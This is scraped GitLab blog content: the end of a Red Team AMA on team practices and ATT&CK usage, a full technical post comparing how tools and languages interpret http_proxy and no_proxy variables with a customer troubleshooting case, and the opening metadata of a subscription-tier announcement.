Pages](https://docs.gitlab.com/ee/user/project/pages/) site that requires multi-factor authorization to access; which is a pretty cool usage of our available tools. Just to echo Steve’s mention of Vectr - that tool is awesome, I highly recommend checking it out. And if you want to brainstorm creative ways to use GitLab for tracking the operational bits, you can type “GitLab for project management” into your favorite search engine to find some cool blogs and videos on the topic.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you promote collaborations between your team and other security / application groups within your organization? What sort of collaborative operations does your team work on?\n{: #question}\n    \n**Steve Manzuik**: This is an area where our Red Team is a bit different than a traditional one. We try to be as transparent and open about our operations as possible. There are of course always going to be cases where we need to be stealthy and share less but we attempt to limit those as much as possible. Typically, when we are performing an operation we will pull in a resource from impacted teams to at least be aware of what we are doing. So for example, we recently worked on an operation focusing on our development processes and had resources from our [AppSec team](/handbook/security/security-engineering/application-security/) working directly with us and helping us with ideas and knowledge. Same goes when we are touching infrastructure things -- we will involve someone from the infrastructure team. \n    \n**Fred Loudet**: As another collaboration example, on some operations, we will create a dedicated chat channel and invite team members (infrastructure or others depending on the operation) so they can follow the operation “live” as we try to comment on what we do/what we find. It works really well, we even get ideas from those other members. They see we are not hiding anything from them and not doing it to make them look bad (ok, we may refrain from saying “yoohoo” if we manage to gain something good!).\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you break the stigma of ‘red teamers are here to attack us’ within your organization? How do you promote an environment of trust when certain teams may go into collaborations/operations with the mindset of ‘these people are going to tell me my baby is ugly’?\n{: #question}\n    \n**Steve Manzuik**: This is why we try to be as transparent as possible when we are planning our operations. Before we even start work, we document the general test plan and goals and then typically meet with stakeholders to ensure that they are on the same page. It also helps that our Red Team is experienced enough to be able to deliver bad news without attaching ego or judgement to it as well. We make sure that everyone knows that we are here to help vs. just here to judge their technical work. \n    \n**Fred Loudet**: As Steve says, we are lucky Gitlab is pushing “transparency”, so it makes everyone more open to reviews and remarks from various teams. As mentioned in question 4, when it makes sense, we really try to involve the “targeted” teams fully into the operation, including if possible within the execution phase. And so far it works well, everyone sees what could be seen as “bad news” as “opportunities to improve” (It also helps Gitlab promote the “right to make mistakes and learn from them”). \n    \n**Greg Johnson**: There is a very human aspect to red teaming you can’t ignore.  Building trust with people is in essence a very simple formula.  We try to make sure that the people we interact with expect a positive experience through the planning and preparation steps that Steve and Fred mentioned, first and foremost.  We also do our best to make sure that this expectation of a positive experience is met in the end through all phases of the operation including remediation so there are as few gaps as possible between the positive experience people expect and what they actually get.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> When planning an adversarial simulation operation, do you try to mimic the TTP usage patterns of known actors or do you tailor TTP usage to your organization?\n{: #question}\n    \n**Steve Manzuik**: Both. We leverage MITRE’s ATT&CK framework where we can, but have also had to adjust to some more cloud specific TTPs that are not well documented in ATT&CK. From our perspective, both leveraging the known TTPs as well as being crafty and coming up with our own are both very important to help raise the security bar. \n    \n**Greg Johnson**: In the end, we don’t limit our creativity, but we do make an effort to try to mimic attacks that leverage known vectors as often as we can.  We draw from a lot of different sources to inspire our operations as legitimate attackers will do the same.\n    \n**Chris Moberly**: To add to Steve’s point, ATT&CK is organized by Tactics, which are high level things like “Initial Access” or “Persistence” and then Techniques, which are very specific things like “create a systemd service” or “abuse set-uid binary”. The Tactics are a really solid foundation for pretty much everything we do, and we try to use those wherever we can. For the Techniques, though, MITRE prefers to include only items that have been discovered in the wild and have some level of attribution. That makes sense for the framework, but at GitLab we’re working with an environment that is quite modern (no physical networks, no Active Directory, etc). We need to be a bit ahead of the curve in terms of developing our own techniques: because we know they will work, and we want to be able to detect and respond to them now. So, we put in some serious time researching possible post-exploitation techniques for the various environments we use. We try to write about those things publicly in our [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes), as well, so that others can use them. Personally, I find this one of the more “fun” parts of the job.\n    \nI think we’ll probably also take a look at replaying known-attacks that hit major news headlines. One of the primary goals of security is to basically stay out of the news, so we can look at things like the recent drama with SolarWinds and say “how did it happen to them, could it happen to us, and what would happen if it did?”. That type of operation would look much more closely emulating the known tactics of known actors.\n    \n    \n_**Follow up question**: Are any of those cloud TTPs that aren't tracked in MITRE ATT&CK published outside of vectr or where the public can access them?_\n\n**Steve Manzuik**: This is something that we need to take a look at and if/when we do, we’d be publishing them in our [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes).\n     \n**Chris Moberly**: Some of these are already published there, in a blog-like format, but we could certainly produce more ATT&CK-like formatting if there is an appetite for it. If so, let us know! [mailto:](mailto:redteam@gitlab.com)\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> What exceptional/unusual skills do you have in your Red Team and how diverse is the skillset across the team?\n{: #question}\n    \n**Steve Manzuik**: I don’t know if we have any “unusual skillsets” that relate directly to our work. But our team has a variety of experiences and skills across all the security domains. Something that I know I look for when we are bringing in new team members is the ability to learn quickly. The fun but also hard part of our job is that things are always changing and there is always something new for us to quickly learn. \n    \n**Greg Johnson**: I will say that our skill sets seem to compliment each other very well.  We each have areas of strengths and weaknesses.  Usually if I have a knowledge gap I can fill it on the immediate team I work with.\n    \n**Fred Loudet**: There are however some “traditional” skillsets that are not useful at all here 😄! Anything Active Directory/Microsoft related is “useless”, same for “physical office” related skills like wireless or breaking into buildings. Our core skills basically revolve around coding/web/cloud computing.\n    \n**Chris Moberly**: I would say I’m probably the best on the team at writing low-quality code lacking in any tests. :) \n**Fred Loudet**: I am pretty certain I write crappier code!  \n**Greg Johnson**: We’ll see about that!\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://giphy.com/embed/ule4vhcY1xEKQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n    \n_**Note:** in our Jan 26 live AMA we ran out of time before being able to answer all the great questions we received.  We’ll answer them below!_\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Does any of your testing focus on product security? (e.g. Testing if using GitLab would make a good c2 channel)?\n{: #question}\n    \n**Steve Manzuik**: Yes, in a lot of cases our exercises will either use functionality of our product or will be directly against the product. That said, we do stay away from doing appsec type testing which would overlap with what both our [Bug Bounty](https://hackerone.com/gitlab) and AppSec team focus on. \n    \n**Chris Moberly**: Ha! I love this question as it starts out pretty basic and then drops a really interesting bombshell at the end there. To start with the basic part, of course leveraging new or known bugs in a core product is always useful for a Red Team, so we definitely do that. But, personally, I find that the way a product is customized tends to be what introduces the most risk. So we look at the various dials people can turn, and how that could potentially provide an entry point into a system. Mark Loveless wrote a great blog recently about [making sure your self-managed GitLab instance is secure](/blog/gitlab-instance-security-best-practices/), that one is worth a read \n_Note from Mark: also see [this project](https://gitlab.com/gitlab-com/gl-security/security-research/gitlab-standalone-instance)_.\n    \n**Chris Moberly**: On to your next point. To start with, please do not try to use gitlab.com as a covert C2 channel. I'd have to read through the terms to find how many that breaks, but I imagine a few. I will say, GitLab can be self-managed, and there are some amazing things you can do with CI jobs and the \"GitLab Runner\" agent.\n    \n**Greg Johnson**: GitLab is used in very creative ways to manage all kinds of projects and while we don’t want to discourage creative uses, we also don’t want it to impact other users etc.  We look at abuse scenarios as well to help us improve our detection capabilities and defenses.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you address conflict in your team? Is it something that’s encouraged and if you have a diverse set of skills then differences in opinion stand to exist correct?\n{: #question}\n    \n**Chris Moberly**: I think we often have different ideas on how to approach things, but personally I've never felt that tread into the territory of \"conflict\". Because we are a small team (1x manager, 3x engineers) that is spread across time zones, we do a lot of work asynchronously. I think this setup actually has some built-in ways to work through differences in opinion. For example, instead of just bouncing ideas back and forth at the beginning of a project, we'll often take the time to come up with an initial proof-of-concept for an idea before sharing. If someone has a different take on it, it might take too long to simply say \"I think we should do x instead\", as we'd have to cycle through a day or two to get everyone to chime in. So, instead, that person will also come up with a proof-of-concept (PoC) for their idea. At this point, we have several working methods to compare and choose from - or, often we will discover while working on a new PoC that maybe the original idea was best after all.\n    \n**Fred Loudet**: On top of what Chris said, there is also the human factor and I think we are lucky no one in the team is particularly stubborn or has a strong ego 😉! I don’t recall that we’ve had real“conflicts”,  just different ideas but so far (crossing fingers!), we’ve managed to discuss in a non conflicting manner and chose what looked like the best solution to all of us. The Gitlab handbook even has a section regarding [conflict](https://about.gitlab.com/handbook/leadership/managing-conflict/).\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> In terms of the make-up of your team, is diversity in gender, background and race something that’s important and a factor in your team when considering the candidates, or do you find yourself picking from the same pool of candidates?\n{: #question}\n    \n**Steve Manzuik**: One of the advantages of GitLab being an all remote company is the fact that we can literally hire a candidate from anywhere in the world. Having this huge talent pool to pick from means that we can absolutely focus on diversity for our teams. Today, as you may have noticed from the AMA our team is not all that diverse when it comes to gender and race. However, we do have a diverse set of experiences to bring to the table. We of course want to become much more diverse in all of the other areas and will consider these factors as we grow the team. In addition, it’s worth checking out this blog post, [“What it's like to work in Security at GitLab”](https://about.gitlab.com/blog/whats-it-like-to-work-security-at-gitlab/) from [Heather Simpson](https://gitlab.com/heather) on our security team that highlights other team members across security and our efforts to build a diverse team. \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Does Gitlab as a company and overall executive management, understand the value the Red Team brings to the success of the company and how do you communicate the impact/successes of your Red Team activities? In some organisations, the security team is considered a cost to the business and a necessary evil but that’s about it.\n{: #question}\n    \n**Steve Manzuik**: In almost an overwhelming way our executives are always very interested in what our Red Team is up to. We find ourselves to be very lucky to have the support from my direct manager, his manager and then our executive team all the way up to our CEO. I think for GitLab it helps that everyone in that chain is technical and understands not only the value that we can bring but also that we can help reduce risk. That doesn’t mean that we have free reign though, we alway make sure that we communicate what we want to do and why we want to do it. Before any exercise begins we have already built a skeleton methodology / approach and defined what it is that we are trying to accomplish and why that matters to the company. When we hit roadblocks or snags we are quick to communicate those as well. GitLab’s [value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) really helps us out here a lot.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> With regards to career growth, how supportive has Gitlab been to the different members on the team and the different career paths they want to take which may be non-traditional?\n{: #question}\n    \n**Chris Moberly**: GitLab has a great [handbook entry on career growth](/handbook/people-group/learning-and-development/career-development/), it's worth a read. One of the things I really like about GitLab is that the desire to remain technical doesn't result in an early career dead-end. For starters, there are individual-contributor roles beyond \"Senior\" that allow one to continue progressing without taking on a management position. Next, there is a HUGE focus on taking time for learning and development; I try to spend most Fridays focused on taking online courses, reading books, and doing research that could be leveraged by the team. Beyond that, every other group at GitLab is always extremely helpful when it comes to knowledge sharing. So, I make sure to spend time with our friends on the Blue Team ([SIRT](/handbook/security/#sirt",[674,2952,676],{"slug":19880,"featured":6,"template":678},"you-asked-and-our-red-team-answered","content:en-us:blog:you-asked-and-our-red-team-answered.yml","You Asked And Our Red Team Answered","en-us/blog/you-asked-and-our-red-team-answered.yml","en-us/blog/you-asked-and-our-red-team-answered",{"_path":19886,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19887,"content":19892,"config":19897,"_id":19899,"_type":16,"title":19900,"_source":17,"_file":19901,"_stem":19902,"_extension":20},"/en-us/blog/we-need-to-talk-no-proxy",{"title":19888,"description":19889,"ogTitle":19888,"ogDescription":19889,"noIndex":6,"ogImage":3451,"ogUrl":19890,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19890,"schema":19891},"We need to talk: Can we standardize NO_PROXY?","Subtle differences in proxy setting implementations led to surprising problems for a GitLab customer. Here's how we got to the root of it.","https://about.gitlab.com/blog/we-need-to-talk-no-proxy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We need to talk: Can we standardize NO_PROXY?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2021-01-27\",\n      }",{"title":19888,"description":19889,"authors":19893,"heroImage":3451,"date":19894,"updatedDate":1225,"body":19895,"category":734,"tags":19896},[731],"2021-01-27","If you've used a Web proxy server before, you're probably familiar with\nthe environment variables `http_proxy` or `HTTP_PROXY`. You may be less\nfamiliar with `no_proxy`, which provides a way to exclude traffic\ndestined to certain hosts from using the proxy. While HTTP is a\nwell-defined standard, no standard exists for how clients should handle\nthese variables. As a result, Web clients support these variables in\nsubtly different ways. For one GitLab customer, these differences led\nto a weekend of troubleshooting that uncovered why certain services\nstopped communicating.\n\n## What is a proxy server?\n\nA proxy server acts as an intermediary between your computer or network and the internet. When you send a request to access a website or other online resource, that request first goes to the proxy server. The proxy server then forwards the request to the actual destination and delivers the response back to you. Proxies can serve various purposes, including improving security, enhancing privacy, and controlling internet usage.\n\n## Proxy server environment variables\n\nLet's now look at what proxy server environment variables are, and how to define exemptions and handle exclusions with `no_proxy`.\n\n### Understanding proxy server environment variables \n\nToday, most Web clients support connection to proxy servers via\nenvironment variables:\n\n- `http_proxy` / `HTTP_PROXY`\n- `https_proxy` / `HTTPS_PROXY`\n- `no_proxy` / `NO_PROXY`\n\nThese variables tell the client what URL should be used to access the\nproxy servers and which exceptions should be made. For example, if you\nhad a proxy server listening on `http://alice.example.com:8080`, you\nmight use it via:\n\n```sh\nexport http_proxy=http://alice.example.com:8080\n```\n\nWhich proxy server gets used if troublesome Bob also defines the\nall-caps version, `HTTP_PROXY`?\n\n```sh\nexport HTTP_PROXY=http://bob.example.com:8080\n```\n\nThe answer surprised us: it depends. In some cases, the Alice proxy\nwins, and in other cases Bob wins. We'll discuss the details later.\n\n### Defining proxy exemptions with `no_proxy`\n\nWhat happens if you want to make exceptions? For example, suppose you\nwant to use a proxy server for everything but `internal.example.com` and\n`internal2.example.com`. That's where the `no_proxy` variable comes into\nplay. Then you would define `no_proxy` as follows:\n\n```sh\nexport no_proxy=internal.example.com,internal2.example.com\n```\n\n### Handling IP exclusions in `no_proxy`\n\nWhat if you want to exclude IP addresses? Can you use asterisks or\nwildcards? Can you use CIDR blocks (e.g. `192.168.1.1/32`)? The answer\nagain: it depends.\n\n## How did we get here?\n\nLet's dig into the evolution of proxy variables, and how they are used today.\n\n### The origins of proxy variables\n\nIn 1994, most Web clients used CERN's `libwww`, which [supported `http_proxy` and the `no_proxy` environment variables](https://courses.cs.vt.edu/~cs4244/spring.09/documents/Proxies.pdf).\n`libwww` only used the lowercase form of `http_proxy`, and the [`no_proxy` syntax was\nsimple](https://github.com/w3c/libwww/blob/8678b3dcb4191065ca39caea54bb1beba809a617/Library/src/HTAccess.c#L234-L239):\n\n```\nno_proxy is a comma- or space-separated list of machine\nor domain names, with optional :port part.  If no :port\npart is present, it applies to all ports on that domain.\n\nExample:\n\t\tno_proxy=\"cern.ch,some.domain:8001\"\n```\n\nNew clients emerged that added their own HTTP implementations without\nlinking `libwww`. In January 1996, Hrvoje Niksic released\n`geturl`, the predecessor of what is now `wget`.  A month later,\n`geturl`, [added support for `http_proxy` in v1.1](https://ftp.sunet.se/mirror/archive/ftp.sunet.se/pub/www/utilities/wget/old-versions/).\nIn May 1996, `geturl` v1.3 added support for `no_proxy`. Just as with\n`libwww`, `geturl` only supported the lowercase form.\n\nIn January 1998, Daniel Stenberg released `curl` v5.1, which [supported the `http_proxy` and `no_proxy` variables](https://github.com/curl/curl/blob/ae1912cb0d494b48d514d937826c9fe83ec96c4d/CHANGES#L929-L944).\nIn addition, `curl` allowed the uppercase forms, `HTTP_PROXY` and `NO_PROXY`.\n\nPlot twist: In March 2009, [curl v7.19.4](https://github.com/curl/curl/releases/tag/curl-7_19_4) dropped support for the\nuppercase form of `HTTP_PROXY` [due to security concerns](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2250-L2261). However, while `curl` ignores `HTTP_PROXY`, `HTTPS_PROXY` still works today.\n\n### State of the variables today\n\nFast-forward to today. As my [colleague Nourdin el Bacha researched](https://gitlab.com/gitlab-com/support/support-team-meta/-/issues/2991),\nwe can see that how these proxy server variables are handled varies, depending\non what language or tool you are using.\n\n## Current implementation of proxy variables across languages\n\nKnowing how proxy variables are handled across languages allows you to set them so that they work properly. Here’s a quick rundown.\n\n### `http_proxy` and `https_proxy`\n\nIn the following table, each row represents a supported behavior, while\neach column holds the tool (e.g. `curl`) or language (e.g. `Ruby`) to\nwhich it applies:\n\n|                 | curl      | wget           | Ruby          | Python    | Go        |\n|-----------------|-----------|----------------|---------------|-----------|-----------|\n| `http_proxy`    | Yes       | Yes            | Yes           | Yes       | Yes       |\n| `HTTP_PROXY`    | No        | No             | Yes ([warning](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1519)) | Yes (if `REQUEST_METHOD` not in env)       | Yes       |\n| `https_proxy`   | Yes       | Yes            | Yes           | Yes       | Yes       |\n| `HTTPS_PROXY`   | Yes       | No             | Yes           | Yes       | Yes       |\n| Case precedence | lowercase | lowercase only | lowercase     | lowercase | Uppercase |\n| Reference       | [source](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2250-L2266) | [source](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1222-L1239) | [source](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1474-L1543) | [source](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2488-L2517) | [source](https://github.com/golang/go/blob/682a1d2176b02337460aeede0ff9e49429525195/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L82-L97) |\n\u003Cbr>\u003C/br>\nNote that `http_proxy` and `https_proxy` are always supported across the\nboard, while `HTTP_PROXY` is not always supported. Python (via `urllib`) complicates\nthe picture even more: `HTTP_PROXY` can be used [as long as\n`REQUEST_METHOD` is not defined in the environment](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2504-L2508).\n\nWhile you might expect environment variables to be all-caps,\n`http_proxy` came first, so that's the de facto standard. When in doubt,\ngo with the lowercase form because that's universally supported.\n\nInstead of environment variables, Java uses [system properties](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html). This avoids case issues entirely.\n\nUnlike most implementations, Go tries the uppercase version before\nfalling back to the lowercase version. We will see later why that caused\nissues for one GitLab customer.\n\n### `no_proxy` format\n\nSome users have [discussed the lack of the `no_proxy` specification in this issue](https://github.com/curl/curl/issues/1208). As\n`no_proxy` specifies an exclusion list, many questions arise about\nhow it behaves. For example, suppose your `no_proxy` configuration is defined:\n\n```sh\nexport no_proxy=example.com\n```\n\nDoes this mean that the domain must be an exact match, or will\n`subdomain.example.com` also match against this configuration? The\nfollowing table shows the state of various implementations. It turns out\nall implementations will match suffixes properly, as shown in the\n`Matches suffixes?` row:\n\n|                       | curl      | wget           | Ruby      | Python    | Go        |Java |\n|-----------------------|-----------|----------------|-----------|-----------|-----------|\n| `no_proxy`            | Yes       | Yes            | Yes       | Yes       | Yes       |No*|\n| `NO_PROXY`            | Yes       | No             | Yes       | Yes       | Yes       |No*|\n| Case precedence       | lowercase | lowercase only | lowercase | lowercase |Uppercase |N/A|\n| Matches suffixes?     | Yes       | Yes            | Yes       | Yes       | Yes       |No|\n| Strips leading `.`?   | Yes       | No             | Yes       | Yes       | No        |No|\n| `*` matches all hosts?| Yes       | No             | No        | Yes       | Yes       |Yes|\n| Supports regexes?     | No        | No             | No        | No        | No        |No|\n| Supports CIDR blocks? | No        | No             | Yes       | No        | Yes       |No|\n| Detects loopback IPs? | No        | No             | No        | No        | Yes       |No|\n| Resolves IP addresses? | No        | No             | Yes        | No        | Yes       |No|\n| Reference             | [source](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2152-L2206) | [source](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1266-L1274) | [source](https://github.com/ruby/ruby/blob/eead83160bcc5f49706e05669e5a7e2620b9b605/lib/uri/generic.rb#L1552-L1577) | [source](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2519-L2551)| [source](https://github.com/golang/go/blob/master/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L170-L205) |[documentation](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html)\n\n* Java uses the `http.nonProxyHosts` system property.\n\n### The impact of leading dots in no_proxy\n\nHowever, if there is a leading `.` in the `no_proxy` setting, the\nbehavior varies. For example, `curl` and `wget` behave\ndifferently. `curl` will always strip the leading `.` and match against\na domain suffix. This call bypasses the proxy:\n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com curl https://gitlab.com\n\u003Chtml>\u003Cbody>You are being \u003Ca href=\"https://about.gitlab.com/\">redirected\u003C/a>.\u003C/body>\u003C/html>\n```\n\nHowever, `wget` does not strip the leading `.` and performs an exact\nstring match against a hostname. As a result, `wget` attempts to use a\nproxy if a top-level domain is used:\n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com wget https://gitlab.com\nResolving non.existent (non.existent)... failed: Name or service not known.\nwget: unable to resolve host address 'non.existent'\n```\n\nIn all implementations, regular expressions are never supported. I\nsuspect using regexes complicates matters further, because regexes have\ntheir own flavors (e.g. PCRE, POSIX, etc.). Using regexes also\nintroduces potential performance and security issues.\n\nIn some cases, setting `no_proxy` to `*` effectively disables proxies\naltogether, but this is not a universal rule.\n\nOnly Ruby performs a DNS lookup to resolve a hostname to an IP address when deciding if a proxy should be used. Be careful if you use IP addresses with Ruby because it’s possible a hostname may resolve to an excluded IP address. In general, do not specify IP addresses in no_proxy variable unless you expect that the IPs are explicitly used by the client.\n\nThe same holds true for CIDR blocks, such as `18.240.0.1/24`. CIDR\nblocks only work when the request is directly made to an IP\naddress. Only Go and Ruby allow CIDR blocks. Unlike other\nimplementations, Go even automatically disables the use of a proxy if it\ndetects a loopback IP addresses.\n\n## Why does this matter?\nDiscrepancies in proxy environment variable handling, particularly between Ruby and Go, can lead to a real-world issues where Git pushes worked via the command line but failed in the web UI for a GitLab customer. Understanding these inconsistencies is crucial for troubleshooting and configuring applications that operate across multiple languages within corporate networks utilizing proxy servers.\n\n### Challenges of defining proxy variables in multi-language applications\n\nIf you have an application written in multiple languages that needs to\nwork behind a corporate firewall with a proxy server, you may need to\npay attention to these differences. For example, GitLab is composed of a\nfew services written in Ruby and Go. One customer set its proxy\nconfiguration to something like the following:\n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\n```\n\nThe customer reported the following issue with GitLab:\n\n1. A `git push` from the command line worked\n1. Git changes made via the Web UI failed\n\nOur support engineers discovered that due to a Kubernetes configuration\nissue, a few stale values lingered. The pod actually had an environment\nthat looked something like:\n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\nno_proxy: .wrong-company.com\n```\n### How inconsistent proxy settings can cause failures\n\nThe inconsistent definitions in `no_proxy` and `NO_PROXY` set off red\nflags, and we could have resolved the issue by making them consistent or\nremoving the incorrect entry. But let's drill into what happened.\nRemember from above that:\n\n1. Ruby tries the lowercase form first\n1. Go tries the uppercase form first\n\nAs a result, services written in Go, such as GitLab Workhorse, had the\ncorrect proxy configuration. A `git push` from the command line worked\nfine because the Go services primarily handled this activity:\n\n```mermaid\nsequenceDiagram\n    participant C as Client\n    participant W as Workhorse\n    participant G as Gitaly\n    C->>W: 1. git push\n    W->>G: 2. gRPC: PostReceivePack\n    G->>W: 3. OK\n    W->>C: 4. OK\n```\n\nThe gRPC call in step 2 never attempted to use the proxy because\n`no_proxy` was configured properly to connect directly to Gitaly.\n\nHowever, when a user makes a change in the UI, Gitaly forwards the\nrequest to a `gitaly-ruby` service, which is written in\nRuby. `gitaly-ruby` makes changes to the repository and [reports back\nvia a gRPC call back to its parent process](https://gitlab.com/gitlab-org/gitaly/-/issues/3189).  However,\nas seen in step 4 below, the reporting step didn't happen:\n\n```mermaid\nsequenceDiagram\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: 1. Change file in UI\n    R->>G: 2. gRPC: UserCommitFiles\n    G->>GR: 3. gRPC: UserCommitFiles\n    GR->>P: 4. CONNECT\n    P->>GR: 5. FAIL\n```\n\nBecause gRPC uses HTTP/2 as the underlying transport, `gitaly-ruby`\nattempted a CONNECT to the proxy since it was configured with the wrong\n`no_proxy` setting. The proxy immediately rejected this HTTP request,\ncausing the failure in the Web UI push case.\n\n### Correcting proxy configuration issues\n\nOnce we eliminated the lowercase `no_proxy` from the environment, pushes\nfrom the UI worked as expected, and `gitaly-ruby` connected directly to\nthe parent Gitaly process. Step 4 worked properly in the diagram below:\n\n```mermaid\nsequenceDiagram\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: 1. Change file in UI\n    R->>G: 2. gRPC: UserCommitFiles\n    G->>GR: 3. gRPC: UserCommitFiles\n    GR->>G: 4. OK\n    G->>R: 5. OK\n    R->>C: 6. OK\n```\n\n## A surprising discovery with gRPC\n\nWe also discovered that gRPC does not [support HTTPS proxies](https://github.com/grpc/grpc/issues/20939). This again subtly affects the behavior of the system depending on how `HTTPS_PROXY` is set.\n\n### gRPC behavior with `HTTPS_proxy`\n\nNote that the customer set `HTTPS_PROXY` to an unencrypted HTTP proxy;\nnotice that `http://` is used instead of `https://`. While this isn't\nideal from a security standpoint, some people do this to avoid the\nhassle of clients failing due to TLS certificate verification issues.\n\nIronically, if an HTTPS proxy were specified, we would not have seen\nthis problem. If an HTTPS proxy is used, gRPC will ignore this setting\nsince HTTPS proxies are not supported.\n\n### The lowest common denominator\n\nI think we can all agree that one should never define inconsistent\nvalues with lowercase and uppercase proxy settings. However, if you ever\nhave to manage a stack written in multiple languages, you might need to\nconsider setting HTTP proxy configurations to the lowest common\ndenominator.\n\n1. `http_proxy` and `https_proxy`\n\n* Use lowercase form. `HTTP_PROXY` is not always supported or recommended.\n    * If you _absolutely must_ use the uppercase form as well, be **sure** they share the same value.\n\n2. `no_proxy`\n\n1. Use lowercase form.\n1. Use comma-separated `hostname:port` values.\n1. IP addresses are okay, but hostnames are never resolved.\n1. Suffixes are always matched (e.g. `example.com` will match `test.example.com`).\n1. If top-level domains need to be matched, avoid using a leading dot (`.`).\n1. Avoid using CIDR matching since only Go and Ruby support that.\n\n## Steps toward standardizing `no_proxy`\n\nKnowing the least common denominator can help avoid issues if these\ndefinitions are copied for different Web clients. But should `no_proxy`\nand the other proxy settings have a documented standard rather than an\nad hoc convention? The list below may serve as a starting point for a\nproposal:\n\n1. Prefer lowercase forms over uppercase variables (e.g. `http_proxy` should be searched before `HTTP_PROXY`).\n1. Use comma-separated `hostname:port` values.\n    * Each value may include optional whitespace.\n1. Never perform DNS lookups or use regular expressions.\n1. Use `*` to match **all** hosts.\n1. Strip leading dots (`.`) and match against domain suffixes.\n1. Support CIDR block matching.\n1. Never make assumptions about special IP addresses (e.g. loopback addresses in `no_proxy`).\n\n## Key takeaways on proxy standardization\n\nIt's been over 25 years since the first Web proxy was released. While\nthe basic mechanics of configuring a Web client via environment\nvariables have not changed much, a number of subtleties have emerged\nacross different implementations. We saw for one customer, erroneously\ndefining conflicting `no_proxy` and `NO_PROXY` variables led to hours of\ntroubleshooting due to the differences with which Ruby and Go parse\nthese settings. We hope highlighting these differences will avoid future\nissues in your production stack, and we hope that Web client maintainers\nwill standardize the behavior to avoid such issues in the first place.\n",[267,7715,4772,10921],{"slug":19898,"featured":6,"template":678},"we-need-to-talk-no-proxy","content:en-us:blog:we-need-to-talk-no-proxy.yml","We Need To Talk No Proxy","en-us/blog/we-need-to-talk-no-proxy.yml","en-us/blog/we-need-to-talk-no-proxy",{"_path":19904,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19905,"content":19910,"config":19915,"_id":19917,"_type":16,"title":19918,"_source":17,"_file":19919,"_stem":19920,"_extension":20},"/en-us/blog/new-gitlab-product-subscription-model",{"title":19906,"description":19907,"ogTitle":19906,"ogDescription":19907,"noIndex":6,"ogImage":12013,"ogUrl":19908,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19908,"schema":19909},"GitLab is moving to a three-tier product subscription model","Bronze/Starter is being phased out and current customers have over a year to transition.","https://about.gitlab.com/blog/new-gitlab-product-subscription-model","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is moving to a three-tier product subscription model\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-01-26\",\n      